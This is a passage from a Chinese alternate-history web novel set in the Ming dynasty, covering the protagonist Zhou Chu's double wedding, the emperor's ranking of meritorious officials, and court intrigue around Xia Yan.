“你怎么会知道这些?” 一旁的百姓不解道。 “这些并非什么秘密,县主对周大人用情极深,这么多年一直在等着周大人,不然早就出嫁了。” 富商解释道。 众人听到这话,恍然大悟。 “想想也对,这京城之中的女子,谁能配得上周大人?就算是陆家千金,镇远大将军,自小也是周大人一手养大的,据说她领兵打仗的本事,都是周大人教的,还有抚远大将军,之前在军中也是跟在周大人手下的,行军打仗的本事多半也是跟周大人学的。” 另一个人感慨道。 “这么一说,如今大明的开疆拓土,多半都是周大人的功劳了?” “那可不?你以为呢?就像前段时间征讨叶尔羌汗国,这要在以前,不说完全不可能,却也极其困难,单单是这么长的补给线,所消耗的粮草就要呈现十倍甚至数十倍的增加,但周大人带着他的学生造的火车直接解决了补给线的问题,你们看着吧,以后大明不止征服叶尔羌,大明的版图将远远超过盛唐。” 旁边一个在兵部当差的小吏路过的时候,听到这话,忍不住说道。 众人听到这话,这才明白周楚对大明的贡献到底有多大。 即便如此,众人所理解的和周楚真正做过的事相比,仍然差了很多。 “怪不得陛下要亲自赐婚,这是要用县主将周大人和皇室捆绑在一起啊。” 富商忍不住感慨道。 ...... 周楚骑着乌骓马,来到了公主府,嘉靖自然不会厚此薄彼,所以今日一早就带着黄锦先行到了公主府。 周楚到公主府的时候,正好看到了德清公主和嘉靖。 “拜见陛下,见过公主殿下。” 周楚行礼道。 “还叫什么殿下,以后都是一家人了,也叫我婶子吧。” 德清公主笑道。 随后德清公主看向了唐伯虎。 “唐解元,以后咱俩也算是亲家了。” 唐伯虎听到这话,不禁感慨命运的奇妙,他和德清公主这些年关系本就极好,当年在他最低谷的时候,德清公主给了他很大的鼓励,如今两人却成了儿女亲家。 虽说周楚不是他的儿子,却也和儿子差不多了,周楚让他来主持婚礼,就相当于默认了此事。 “是啊,在下怎么都没想到,有朝一日我们会成为亲家。” 唐伯虎如今虽然五十多了,却不喜欢自称老夫,他总觉得自己还年轻,没那么老。 “瞻月等这一日可是等了不知道多少年了,这些年她没少因为这件事去求朕,如今朕也算是圆了她的心愿了。” 嘉靖看着周楚,又看了看一旁的林瑶,笑道。 瞻月是林瑶的字。 “陛下!” 林瑶听到这话,顿觉有些羞臊,忍不住撒娇道。 “没事,这里又没外人,你这会倒是想起来不好意思了,当初见天往皇宫里跑的不是你了?陛下哪里说错了?” 德清公主白了林瑶一眼道。 德清公主说完这话,看向了周楚。 “本宫说这话,倒也不是作践瞻月,为娘的谁不想自己的儿女过的好,本宫了解衡器,知道以后衡器不会亏待瞻月,这丫头这么多年对衡器一直心心念念,这一点本宫也不瞒着你们了,不只是她,本宫认识了衡器之后,京城的那些个公子哥,是一个都瞧不上,总觉得衡器才是瞻月的良配,如今也算是圆了本宫的夙愿了。” “得亏大人同意了这门婚事,否则瞻月都这把年纪了,都是老姑娘了。” 林鹿作为林瑶的大哥,此时不止不帮着林瑶说话,还在拆她的台。 德清公主和林鹿说这话,无非是放低姿态,这个时候还在周楚面前拿捏姿态,无疑是十分愚蠢的做法。 林瑶听到这话,忍不住瞪了自己大哥一眼,示意林鹿闭嘴。 林鹿就像是没看到一般,在那里滔滔不绝的说起了林瑶以前的糗事,林瑶急的直跺脚。 “稚心,你去看看定亲宴准备的怎么样了。” 眼看着林鹿越说越来劲,越说越兴奋,德清公主及时打断了他,要让他这么说下去还得了,自己的女儿以后还有形象可言吗?虽说要放低姿态,却也不能什么都往外说。 很显然,林鹿一直都把自己当成了周楚的下属,所以此时才会想着和周楚交交底。 林鹿听到这话,刚想说什么,却被他的夫人踩了一脚,这让林鹿顿时一激灵,意识到自己说多了,急忙转身离去。 嘉靖眼看着林鹿离开了,这才暗自松了口气,自己这位表兄什么都好,心思简单,对自己足够忠心,领兵打仗的本事也是大明第一梯队的,就是情商略微低了些,倒也不能说是情商低,只能说对周楚没想过隐瞒什么,毕竟他曾经跟着周楚学了很久的行军打仗。 一直以来,林鹿都把自己当成了周楚的下属,从未变过,这一点嘉靖很欣赏,但刚才林鹿竹筒倒豆子一般,让嘉靖也有些紧张,恨不得去堵住他的嘴。 自己好不容易撮合成了这门婚事,你这一张嘴再给说散了。 对于林瑶的性格,周楚一直都是知道的,林鹿说的,在周楚看来也都是一些无伤大雅的小事,不过在这个年代,女孩子就应该在深闺之中,绣绣花,读读书,像林瑶这般的还是很少见的。 这些事周楚完全没觉得有什么问题,不就是活泼了些,相较于这个时代其他女人的低眉顺目,周楚更喜欢云瑾和林瑶这样的。 “周大哥,你别听我哥胡说。” 林瑶涨红了脸,解释道。 “他又没说什么大不了的事,那些大门不出二门不迈的大家闺秀,反而不合我的心意。” 周楚笑道。 德清公主和林瑶听到这话,顿时眼睛一亮。 “我就说衡器与常人不同,云瑾这孩子的领兵本事都是衡器教出来的,衡器若是喜欢那种柔弱的女子,又怎么会教云瑾这些。” 唐伯虎喝了口茶,说道。 “衡器,真武殿功臣的排名,朕已经初步排了出来,你看看有什么不妥吗?” 眼看着几人说完了,嘉靖拿出一本册子,让黄锦递给了周楚。 周楚接过册子打开看了看,上面写着的正是真武殿功臣的排名。 排名第一的是周楚,这是毫无疑问的,如果这个排名有积分的话,嘉靖给周楚的积分恐怕会断档式的领先第二名,甚至后面所有人加起来都未必有周楚多。 排名第二的是陆炳,这个排名嘉靖多少带点个人感情了。 论功劳,陆炳是有的,收复安南,还有保护嘉靖个人安危,但功劳方面,无论是周楚还是嘉靖都清楚,陆炳远不如云瑾,当初云瑾在海上荡平倭寇,为大明开海奠定了基础,甚至安南都是云瑾收复的。 收复西藏,也有云瑾的功劳,不过陆炳毕竟身份特殊,还是云瑾的大哥,排在云瑾前面,周楚是没什么意见的,但排在第二,却是有些高了。 排在第三的,是杨慎。 杨慎这么多年身处内阁,为大明可谓是呕心沥血,杨慎就像水一样,水润万物而无声,杨慎从不喜欢给自己邀功,但嘉靖和周楚都清楚,这么多年,无论是对周楚很多决策的坚决支持,还是杨慎自己提出的决策,都对大明有着深远的影响。 排在第三,周楚倒是觉得有些低了。 按照周楚的想法,杨慎应该是排在陆炳前面的。 杨慎后面是云瑾,对于这个排名,周楚并不意外,云瑾后面则是杨一清,杨一清作为内阁首辅,虽说前些年一直在摆烂,但这两年干劲很足,整个内阁的运转和朝廷的运转在他手上可谓是井井有条。 更何况杨一清作为内阁首辅,排名不能太低,嘉靖就是要把杨一清作为一个标杆,用来激励其他官员。 这个排名倒也说得过去。 杨一清后面排的则是林鹿,林鹿后面是欧阳必进和孟继两人,再之后是汪直,然后是王宪、张璁、韩玠、严嵩等一众官员,甚至连海瑞和杨盛斋都排了进去,而且排名还不算很低,如今的海瑞和杨盛斋在南镇抚司正式挂职,算是正儿八经的锦衣卫了。 至于胡宗宪和赵贞吉,如果正式入仕的话,也可以勉强排进去,不过两人还要继续科举,并没有正式在军中任职,暂时没有他们的排名。 “陛下对大哥过于偏爱了,升庵先生应该排在第二,大哥第三。” 周楚说道。 “杨用修和文孚的排名,朕也一直拿不准,你这么一说,确实如此,回头朕改一改,将文孚的排名往后挪一挪。” 嘉靖点了点头道。 周楚这么说,其实也是在变相的保护陆炳,倘若陆炳排在第二,将会被无数人记恨,无数人会想方设法将他拉下来,取而代之,但杨慎排在第二就不存在这个问题了。 首先杨慎是大明文人的魁首,又是内阁阁老,这么多年,杨慎一直公忠体国,这些都是有目共睹的,关键杨慎不只是对大明和皇帝忠心,能力还足够强,内阁之中,就算是首辅杨一清都比不上他,杨慎排在第二,很少有人会不服。 至于周楚排在第一,那更是毫无疑问的,即便是看周楚再不顺眼的,对这个排名也挑不出毛病来。 当然,这只是初步排名,如今真正为大明建功立业的,屈指可数,大部分上榜的都是因为内政,将来等胡宗宪等人真正成长起来,就是他们在真武殿不断攀升的时候。 到了那个时候,真武殿的这些功臣排名,才是充满了含金量。 现在多少有点水。 不过这不重要,毕竟是草创,水点很正常,随着时间的流逝,这其中含有水分的,以后不够努力的话,迟早是要被踢出去的。 “还有军事学院,衡器你有什么想法?” 嘉靖看着周楚,问道。 周楚听到这话,喝了口茶,沉吟了片刻。 “军事学院的话,陛下任院长,闲暇的时候可以去给学院的学生上一上政治课,随便讲什么都行,陛下都亲自去了,他们自然会感到无比荣幸和忠心。” 周楚想了想,说道。 “稚心和云瑾都可以去学院教学,至于胡汝贞和赵孟静,可以作为学员加入军事学院,可以辅助我们教学。” 嘉靖听到这话,点了点头。 “如此安排,倒也妥当,那胡汝贞和赵贞吉跟着你在西藏两年,想来领兵打仗的本事应该不差,这次闪击叶尔羌汗国,他们二人功不可没,等他们将来正式入仕的时候,朕再将他们送进真武殿。” “陛下,大人,末将能力一般,恐怕....” 林鹿早就回来了,在一旁听的入神,特别是听到自己即将进入军事学院任教的时候,林鹿就有些紧张,他一直觉得自己领兵打仗的本事其实一般,无论是之前横推草原,亦或是北征女真,都是周大人铺好了路,所有的一切不过是水到渠成罢了。 更何况草原还不是他彻底征服的,是周楚,真要论起来,他的功劳就是北征女真,还有灭叶尔羌汗国。 但叶尔羌汗国一战,战略是周楚制定的,仗是胡宗宪和赵贞吉打的,他作为将领,领了这个军功,心底里其实是很虚的。 此时听到周楚和嘉靖这么说,顿时有些迟疑。 “不要妄自菲薄,你领兵打仗的本事其实很厉害,能完美的执行战略,本身就是能力的一种体现,想当初魏国公每次也都是完美的执行太祖皇帝的战略规划,你能说魏国公行军打仗不行吗?” 周楚看着林鹿,说道。 第370章 周楚大婚 第370章 周楚大婚 真武殿和军事学院还没建好,周楚的大婚之日就先到来了。 周楚的婚礼想办的低调都办不到,毕竟无论是云瑾亦或是林瑶一个代表的是陆家,另一个代表的则是公主府。 于是周楚干脆大操大办,摆了三天的流水席,京城之中的百姓都可以去吃。 周楚大婚的这一天,来了很多人,初六、孙强、孙娇娇婆家和娘家、韩鸢儿婆家和娘家、楚璃、楚辉祖一家、沈青一家、文徵明、严嵩父子、张璁一家、杨一清爷孙、杨慎、海瑞、胡宗宪、赵贞吉、王宪等等。 基本上朝中叫得上名字叫不上名字的官员都到了,就连夏言也来了。 各地藩王府,也纷纷派出了世子或者郡主前来参加周楚的婚礼,他们早就向嘉靖提出了申请,嘉靖也准了。 皇宫之中,嘉靖和皇太后以及皇后也都到了。 现在这个皇后未必多贤惠,却也不像之前那位拎不清,无论是她还是她爹对周楚都极为客气,嘉靖暂时也就懒得换了,因为嘉靖清楚,哪怕再换一个,也未必能换个更好的。 这三天,最高兴的就是京城之中的百姓,特别是在云桂坊以及布庄干活的工人,全都被叫来吃流水席了,如果说其他百姓或多或少还有些不好意思,那么云桂坊的工人则完全没这个负担。 不过云桂坊的工人这么多年一直都很感念周楚这个幕后老板,所以基本都是上了礼金才吃的,虽然和那些达官贵人相比,上的礼金不多,却也是他们的一番心意。 周楚则骑着乌骓马,先是绕了京城一圈,然后去陆府接亲,随后再去公主府接亲,两人都接到周府之后,婚礼正式开始。 大厅之中,唐伯虎和芸娘作为周楚的长辈,原本应该坐在正位的,不过如今嘉靖和皇太后在这里,自然要让给他们。 唐伯虎夫妇则另加了一对椅子,分别坐在嘉靖两边。 周楚站在大厅正中央,左边是林瑶,右边是云瑾,分别用一道带着绣球的红绳牵着两女。 “一拜天地。” 黄锦作为司仪,高声喝道。 周楚三人听到这话,转身面向外面,开始行礼。 “二拜陛下。” 原本应当是二拜高堂,但嘉靖这个皇帝的优先级明显要高于高堂,黄锦自然是明白这个道理的,高声喝道。 周楚三人转过身来,对着嘉靖行礼。 “三拜太后。” 黄锦继续喊道。 周楚等人继续行礼。 “四拜高堂!” 唐伯虎听到这话,一向放荡不羁的他也不禁整理了一下仪容,生怕给周楚丢人。 “夫妻对拜!” 周楚听到这话,先是转向了云瑾,两人对拜,随后又转向了林瑶,两人对拜。 “送入洞房。” 黄锦最后一句充满了欢快的意味。 周楚的身份摆在这里,倒也没什么人敢闹,周楚对着嘉靖和太后行了个礼,随后带着两女在陆炳和陆炜以及林鹿林廌的簇拥之下进入了洞房之中。 将两女送入洞房之后,周楚将春兰叫到了房门口。 “春兰就在门口,你们要是饿了渴了,就和春兰说,她会给你们拿吃的。” 周楚从早上到现在,滴水未进,周楚很清楚,云瑾和林瑶应该也是如此,想来应该是饿了。 “知道的,夫君,你先去招待客人吧。” 云瑾隔着盖头说道。 周楚听到这话,点了点头,离开了婚房。 “一会往房中送些吃的喝的。” 周楚出门之后,怕云瑾和林瑶碍于面子,不肯要吃的喝的,特意嘱咐了春兰一句。 “放心吧老爷,我知道的。” 春兰躬身道。 周楚这才放心,转身去了大厅之中。 此时嘉靖和太后以及陆松夫妇,还有唐伯虎夫妇都坐在了一桌,原本周府和陆府的席应该是分开办的,但两家离得太近了,干脆就在一起办了,左右都是流水席,谁来了都能吃,不过陆家的亲戚基本都在陆家那边吃。 毕竟周府这边基本都是达官贵人,一般人面对这些人,还是很有心理压力的。 公主府的酒席则是单独办的,德清公主得留在公主府主持大局,林鹿和林廌兄弟二人则跟着前来送嫁了,主要是两人都想亲眼看着周大人和自己的妹妹拜堂成亲。 至于仁和公主,虽然也想来周府,但按照远近亲疏,她最应该去的是德清公主那里,不过仁和公主的几个儿子,除了长子齐良在东瀛之外,其他几个儿子都到了周府。 林鹿林廌,以及仁和公主的几个儿子,还有陆炜陆炳坐一桌。 那些藩王世子及郡主坐了好几桌。 杨一清、杨慎、贾咏、韩玠、张璁、王宪这些朝中大佬坐一桌。 看着桌子上摆放着的陈王酿,很多人眼睛都亮了。 陈王酿作为醉仙楼出来的酒,虽然比不上那些名酒,却也供不应求,如今一坛陈王酿都被炒到了五百两左右,即便如此,想买到也很难。 毕竟醉仙楼的产量是有限的,这是周楚有意控制的结果,任何东西,一旦泛滥了,就不值钱了。 不过今日周楚大婚,这陈王酿是管够的,不管要喝多少,都管够,很多爱酒的官员,盯着桌子上的陈王酿,眼睛都挪不开了。 “诸位,这陈王酿可是管够的,今日我等不醉不归。” 杨慎也是爱酒之人,否则也不会隔三差五的往醉仙楼跑,等旁边伺候的婢女给他们都倒满酒之后,杨慎直接端起了酒杯。 “没想到临了临了,还能这么痛快的喝一场。” 贾咏也是极爱酒之人,不过他做官一向谨小慎微,虽然也也有些钱,但不多,醉仙楼也只是偶尔去一次,见天去的话,他也肉疼。 至于其他人请他,他更是不会去了,他眼看着就要平稳着陆了,自然不会弄的晚节不保。 这段时间,贾咏一直都有致仕的打算,在朝堂上也和嘉靖提了几次,不过嘉靖暂时没有批准罢了。 贾咏和杨一清不一样,杨一清只要努努力,肯定是会留在真武殿的,也会名留青史,贾咏很清楚,自己在内阁之中,一向没什么存在感,能力也确实一般。 年轻的时候,贾咏犯过不少错,那时候他的老师送了他一句话,少做少错。 自此以后,贾咏便有了自知之明,能混就混,也不会想着出头,混着混着,居然混到了内阁之中。 这让贾咏愈发的谨小慎微,生怕自己行差踏错,万劫不复。 真武殿对杨一清等人而言,是机遇,充满了诱惑,但对贾咏却是没什么吸引力,贾咏很清楚,自己没那个本事位列其中,哪怕暂时挤进去了,将来也会被其他人挤出来,倒不如急流勇退,落个体面。 “贾阁老,同僚一场,在下敬你一杯。” 杨慎是知道贾咏的想法的,端起酒杯说道。 贾咏也不做作,和杨慎碰杯之后,一饮而尽。 “公谨,咱爷俩也喝一杯吧。” 杨一清端起酒杯,满脸笑容道。 杨一清故意这么说的,他说爷俩,就天然的把自己置于夏言长辈的身份了,虽说以杨一清的岁数这么说没什么问题,但他们毕竟都是同僚,同处内阁,夏言听到这话,很是不爽。 尽管不爽,夏言却也挑不出什么毛病,只能端起酒杯,敬了杨一清一杯。 如今的朝堂之上,或者说内阁之中,最难受的就是夏言了,原本他还指望着杨一清致仕之后,自己能不能更进一步,现在倒好,杨一清这个老不死的还来劲了,看这样子短时间内不准备退了。 这让夏言愈发着急,夏言很清楚,现在是自己上位的最佳时机,如今的内阁,杨慎不适合做内阁首辅,贾咏要退了,即便有人后补上来,资历也不够,不可能一跃成为内阁首辅。 这个时候杨一清如果退了的话,在内阁多年,中规中矩的夏言多半会被推到首辅的位置。 偏偏杨一清变了主意,不准备退了,这让夏言很是头疼,如今的朝堂,他的机会越来越少,而且他能感觉得到,随着时间的流逝,自己会被越来越边缘化,倘若不抓住这个机会,以后能不能有机会还不知道呢。 难道真要和那个疯女人再次合作? 夏言不禁想起了前段时间收到的一封信,不是别人写的,正是消失已久的汪明月,当年汪明月一路南逃之后,逃到了安南旁边的东吁王朝,结识了东吁王朝的王子莽瑞体。 莽瑞体虽然只有十三岁,却是野心勃勃,如果听到莽瑞体这个名字的话,就知道此人在三年后登上王位,然后不断对外扩张。 在汪明月的资金的扶持下,莽瑞体获得了大量的政治资本,如今虽然还未登上王位,但在东吁王朝的话语权已经很大了,甚至他的父王,很多事都要询问他的意见。 汪明月更是摇身一变,成了莽瑞体的太子妃,虽然两人年岁相差很大,但这不重要,重要的是莽瑞体清楚的意识到,汪明月才是那个能帮助他的女人。 夏言怎么都没想到,当初那个慌忙逃窜的疯女人,如今摇身一变成了东吁王朝的太子妃,虽然东吁王朝在他眼里不过是蕞尔小国,但再小的国家也是五脏俱全,具备一切起兵的因素,而且夏言看得出来,无论是莽瑞体还是汪明月,都是野心勃勃之辈,以后绝对会对外扩张。 原本夏言还怕汪明月报复自己呢,毕竟当初自己对她起了杀心,夏言不相信这个女人想不到这一点,否则也不会跑这么快了。 不过汪明月的话,让夏言打消了疑虑,汪明月说她的目标变了,她要东吁王朝不断扩张,如果能拿下安南就更好了,到时候甚至可以从外部干预,帮助夏言登上首辅之位。 不过在这之前,需要夏言帮助他们,让东吁王朝获得足够的资源,以便迅速扩张。 对于这个提议,夏言说不心动是假的,但原本也只是心动罢了,毕竟之前杨一清眼看着就要退了,他只要熬一熬就可以成为首辅,何必和这个疯女人合作? 但现在不同了,夏言需要好好考虑一下,该如何和汪明月里应外合了。 内堂之中,周楚端起酒杯。 “陛下,臣先敬您一杯。” 周楚说完这话,一饮而尽,嘉靖也不做作,端起酒杯,抬杯见底。 “怪不得都说这陈王酿好喝呢,确实是好酒,不比那些名酒差。” 嘉靖忍不住夸赞道。 平日里嘉靖很少喝酒,即便喝也都是喝那些名酒,大明的名酒虽然少,但嘉靖却从来不缺,光是之前周楚在江南还有京城抄家抄出来的名酒,就不知道有多少了,大部分都在嘉靖的私库之中。 周楚听到这话笑了笑,给自己倒了一杯酒,再次端了起来。 “叔父,我十岁不到,就被卖到了你们家,你们待我极好,可以说没有你们,就没有如今的周楚,我敬您一杯。” 周楚看着陆松道。 “衡器你这话就太言重了,当初我们对你不过是些小恩小惠罢了,不值一提,如果没有你的话,那几年我们在牢狱之中,恐怕很难熬得住,特别是文心和他娘,说起来,我们一家不知道欠你多少,咱爷俩确实该喝一杯。” 陆松说着端起酒杯,一饮而尽。 “是啊衡器,当初没有你的话,我恐怕早就熬不住了,陆家遭难,陆家的亲朋好友都恨不得撇清关系,只有你,还愿意管我们。” 杨氏说着忍不住抹了抹眼泪,随后端起了酒杯。 “原本妇人是不应当饮酒的,今日我便破个例,也和你喝一杯。” 杨氏说着也跟着一饮而尽。 周楚看到陆松夫妇如此,直接给自己倒了两杯酒干了。 “老师,咱爷俩就不必多说了,以前喝酒说的够多了,再说就矫情了,都在酒里。” 周楚又给自己倒了一杯,对着唐伯虎说道。 唐伯虎本就好酒,自然是来者不拒,端起酒杯就是一饮而尽。 “确实不该矫情,赶紧干了。” 唐伯虎笑骂道。 第371章 嘉靖微醺 第371章 嘉靖微醺 正所谓新婚的酒不醉人,周楚一杯接着一杯,却是毫无醉意,唐伯虎陆松都喝多了,周楚倒也没一直和他们喝,但架不住他们心中高兴,主动找周楚喝。 嘉靖很少饮酒,今日却也喝了不少,有些微醺。 不过嘉靖毕竟是皇帝,不可能喝的太多,要是皇帝喝多了,说一些醉话,那可就乐子大了,所以后面嘉靖主动找周楚喝酒,都被周楚劝阻了。 “衡器,你知道当初朕刚进京的时候,其实也很迷茫,不知道该如何打开局面,如何在这京城站稳脚跟,多亏了你,否则朕还真不一定能掌握权柄。” 嘉靖醉眼朦胧道。 嘉靖只是微醺,并没有喝多,说的话也是挑能说的说,很多话都是不能说出口的,比如他成为皇帝之前,周楚就在为他谋划了。 “陛下天纵之才,还未进京就清楚不能以太子的身份进京,即便没有臣,他们也不是陛下的对手。” 周楚说道。 嘉靖听到这话,却是摆了摆手。 “朕自家人知道自家事,倘若没有你的话,朕想要斗倒杨介夫都难上加难,想做什么事,更是会处处受到掣肘,也只有你,敢一上来就以雷霆手段震慑了百官,让他们不敢乱来。” 介夫是杨廷和的字。 嘉靖对自我的认知很清晰,他很清楚,倘若没有周楚,自己或许斗倒杨廷和就要费尽心力了,想要做事,绝不会像现在这般轻松,甚至会遭受到想象不到的阻力。 别的不说,江南集团不解决的话,他们将会左右整个朝堂,纵观有明一朝,除了周楚,谁有能力彻底解决江南集团?谁有那么大的魄力,敢于推倒重建? 此时陆松和唐伯虎得亏喝醉了,不然听到这话心里恐怕都会哆嗦,皇帝这话,本就不应该是他们该听的。 至于桌上的杨氏和太后,就没这些顾虑了,杨氏是嘉靖的奶娘,太后更不必多说,倒是一旁的芸娘,干脆也开始装醉了起来。 这里是内堂,周楚早已让旁边伺候的下人下去了,周楚和嘉靖的对话,自然不会被其他人听去。 其实还有很多话嘉靖一直都想说,他憋了很多年了,但嘉靖也清楚,有些话注定要烂在肚子里,一辈子都不能说。 即便如此,嘉靖作为皇帝,今日还是有点粘牙,说的有点多了。 “陛下喝的有点多了。” 周楚忍不住提醒道。 “我去给陛下弄一碗醒酒汤。” 一旁的杨氏听到这话,急忙起身,直奔后厨去了。 嘉靖听到这话,似乎也意识到自己说的确实多了些。 “朕很少饮酒,即便是偶尔喝,也只是喝一点,不敢喝多,因为朕是皇帝,喝多了就会酒后失言,很多话,朕都憋了很久了,今日就让朕好好说一说吧。” 嘉靖看了看太后,又看了看周楚,说道。 一旁的太后听到这话,忍不住叹了口气。 “陛下这些年内心也算是孤苦,很多话无人可说,也就周大人能和陛下说一说了,我们先走吧,让陛下和周大人好好说说话。” 太后看向一旁装醉的芸娘说道。 芸娘听到这话,再也不好继续装醉,起身扶起喝醉的唐伯虎站了起来,等候太后的下一步指示。 很快,杨氏就端着醒酒汤回来了。 “把醒酒汤放这里吧,让陛下和周大人说说话,我们去说一说体己话。” 杨氏听到这话,顿时明白了什么,将喝醉了的陆松扶了起来。 “娘娘稍等,我先把我家老爷送回去。” 等众人离开之后,内堂的这一桌就只剩下周楚和嘉靖了。 嘉靖笑了笑。 “怪不得这么多人都爱喝酒呢,喝了酒感觉确实不一样,原本很多想说不敢说的话,现在都能说出口了。” “陛下还是要少饮酒,饮酒伤身。” 周楚忍不住提醒道。 “朕心里有数,这不是衡器你大婚吗?朕难得放纵一次,当初你让文孚告诉朕,说将来朕极有可能登基当皇帝的时候,虽然朕也在着手做准备,但朕心中其实对你的那些话还是很怀疑的,朕没想到他们这么大胆,害死了我爷爷,害死了孝宗,还敢用相同的手段害死皇兄,简直是无法无天。” 嘉靖说着端起醒酒汤,喝了一口。 “当时皇兄驾崩,朕即将进京的时候,其实心中一点底都没有,朕很怕,怕一旦不听他们的话,这些人也会把朕给害死,不过朕更清楚,倘若朕随了他们的心意,他们便会愈发肆无忌惮,骑在朕的头上,到了那个时候,这大明江山还是不是我朱家的?这大明到底是谁说了算?” 嘉靖说到这里的时候,忍不住有些激动。 “陛下英明神武,臣不过是一把刀罢了,臣这把刀也只有陛下能用的好,想当年宪宗也算是雄才大略,但对汪直却不能做到用人不疑,内心不够坚定,如陛下这般能用人不疑者,能有几个?正所谓千里马常有,而伯乐不常有。” 周楚忍不住感慨道。 周楚这话有自夸的嫌疑,不过嘉靖却觉得没有任何问题,以周楚的本事,说是千里马,那是抬举千里马了。 “朕当皇帝这些年,能与言者无二三,就算是黄锦和文孚,很多话朕也对他们说不出口,今日朕也就是借着酒劲,否则这些话也是说不出口的。” 嘉靖感慨道。 此时嘉靖虽然喝的微醺了,脑子却是异常的清醒。 这一日,嘉靖和周楚聊了很多,聊了当初对上一任皇后的心灰意冷,聊了对如今的皇后如何失望,还聊起了当初林瑶一次次入宫去求他。 聊着聊着,嘉靖的酒醒的也就差不多了。 “没想到聊了这么久,天都快黑了,朕要回宫了,衡器你赶紧去入洞房吧,不必送了,今日你可是要享齐人之福了。” 嘉靖看着周楚,忍不住调侃道。 此时黄锦在两人的招呼下,已经进来了。 黄锦看着嘉靖因为喝酒还有些略显虚浮的脚步,急忙上前扶住嘉靖,两人就这么离开了周府。 嘉靖说不必送,但周楚还是一路将嘉靖送出周府,这才转身回到了家中,来到了自己厢房。 厢房门口,春兰还站在那里伺候着。 “她们两人吃东西了吗?” 周楚看着春兰,问道。 “奴婢为两位夫人准备了绿豆汤还有一些糕点,都是些清淡爽口的,两位夫人吃了不少。” 春兰恭敬道。 新娘子大婚的时候,一般是没有机会吃东西的,即便是吃东西,也不应该是一些大鱼大肉的,太过影响形象,总不能把盖头掀起来,直接大快朵颐吧? 周楚听到这话,满意地点了点头,冲着春兰摆了摆手,示意春兰可以退下了。 春兰躬身行礼,随后离开了。 周楚推门而入,看到床边坐着的两个新娘,坐在桌子旁边给自己倒了杯茶,一通牛饮。 和嘉靖聊了这么久,后面基本没喝酒了,旁边又没有旁人,周楚想要壶茶都不好要,早就口干舌燥了。 喝完茶水之后,周楚拿起桌子上的秤杆,来到了床边,将云瑾和林瑶的盖头分别挑起。 原本云瑾和林瑶在婚房之中等了一下午,还吃了一些糕点,没有太多的紧张情绪了,但当他们听到周楚进来的声音,明白接下来要发生什么的时候,两人都面色通红。 在烛光的映照下,两女脸上平添了一丝魅力,对周楚充满了魅惑。 “相公。” 云瑾低头道。 “相公。” 林瑶满脸娇羞道。 这一刻,周楚觉得酒劲上来了,有些醉了。 ...... 原本林廌是想叫上林鹿以及陆炜和陆炳等人去闹洞房的,但林鹿和陆炜完全不敢,他们一想起周楚对他们秋后算账就害怕,其实林廌也害怕,眼看其他人不同意,也只能作罢。 陆府之中,陆松已然醒酒。 “夫人,云瑾和衡器总算是功德圆满了。” 陆松笑道。 “是啊,老爷盼着一天盼了很多年了吧?” 杨氏白了陆松一眼道。 “你不也一样?除了衡器,其他人还入得了你的眼?你会让云瑾嫁给其他人?” 陆松反问道。 杨氏听到这话,想都没想就摇了摇头。 “衡器这孩子,无论从哪方面看,都挑不出任何毛病,老大能封侯,还都是衡器谋划的,云瑾能成为大将军,也都是衡器的功劳,可以说我们陆家能有今天,全都是因为衡器,云瑾要是不嫁给衡器,是我们陆家的损失。” 杨氏感慨道。 “是啊,我以前常听人说有人生而知之,那时候还不屑一顾,现在想想,衡器可能就是那种生而知之之人吧,当初衡器刚来我们家的时候,就能教文心功课,教的甚至比夫子还要好。” 陆松想起了当年的事,也有些感慨。 “下午的时候,太后和我说过,衡器就是上天派下来的,陛下是这么和太后娘娘说的,也不知是真是假。” 杨氏说道。 “那还能有假?陛下都这么说了,肯定是真的,陛下身边可是有飞霞子道长的,那位道长可不一般,能窥见天机。” 陆松肯定道。 ..... 德清公主府之中,仁和公主并没有急着离开,而是和自己的妹妹说起了体己话。 “我也就是没有女儿,否则也会想办法让周衡器成为我的佳婿。” 仁和公主有些羡慕地看着自己的妹妹说道。 德清公主听到这话,顿时有些得意,即便此时德清公主已经年近五十了,在自己的姐姐面前也如同当年年幼时一般,不怎么隐瞒自己的想法和心思。 “不能什么好事都让姐姐占了,姐姐有这么多儿子了。” 德清公主略显不满道。 仁和公主听到这话笑了笑。 当年他们兄妹很多,但能活到如今的,寥寥无几,如今当皇帝的都是她们的侄子了,这让她们愈发珍惜两人之间的姐妹之情。 “真要说起来,当初多亏了衡器,不然老二现在指不定什么样呢,现在多好,也算是为大明建功立业了。” 德清公主忍不住感慨道。 之前德清公主最担心的就是林廌这个小儿子,毕竟林鹿一向稳重,随便立一些军功封侯,或者将来继承公主府,不需要德清公主担心什么。 但林廌不同,他作为嫡次子,正常而言是没有封侯的机会的,也没有继承公主府的资格,德清公主一直担心自己老了之后,自己家的这个纨绔子该怎么办。 直到周楚和唐伯虎的出现,让德清公主起了死马当活马医的想法,没想到却是有奇效,林廌不说不再纨绔了,却也开始努力了。 在周楚的安排之下,如今的林廌,因为东瀛,累积的军功已经到了很高的地步,单论军功封侯可能有点难,但再加上他德清公主嫡次子的身份,将来封个侯也没人会说什么。 更何况如今林廌还很年轻,他只需要驻守东瀛,就可以不断地刷军功,东瀛这个肥差,不知道多少人盯上了,毕竟可以不断地刷军功,还可以捞钱,而且听说在东瀛可以为所欲为,根本没人管。 但这个职务只有林廌和齐良两人可以,其他人嘉靖是不放心的。 即便如此,如今东瀛军中其他的职务,哪怕只是当一个千总或者百户,也有无数人削尖了脑袋想进去,对于这些人,嘉靖安排了一些,但不多,因为太多的话,整个东瀛的军队就会被这些人带坏。 虽说现在他们在东瀛也算是烧杀抢掠,但嘉靖不希望这些人将他们那些纨绔的作风带过去。 “是啊,我们家老大,现在和你们家老二轮流值守东瀛,换了其他人,陛下恐怕不太放心。” 仁和公主笑道。 齐良这几年在东瀛没少捞钱,实际上林廌也捞了不少钱,毕竟身在东瀛,那里的一切都是汪直和他们说了算,想要捞钱再容易不过,根本不需要贪墨朝廷的资金,当地的那些东瀛人,就会想办法给他们送钱。 齐良进入东瀛之后,仁和公主府也变得愈发有钱了起来。 所以仁和公主对周楚心中也是很感激的,只是她身为公主,这些话是不好随便说出口的。 第372章 占城使者,文徵明的请求 第372章 占城使者,文徵明的请求 第二天一早,林瑶就挽了个贵妇的发髻,不再是之前少女的长发,云瑾则没这方面的顾虑,她作为大将军,一直以来都是把头发束起来的,作为大将军,她自然不需要像一般的女人一样,梳妇人的发髻。 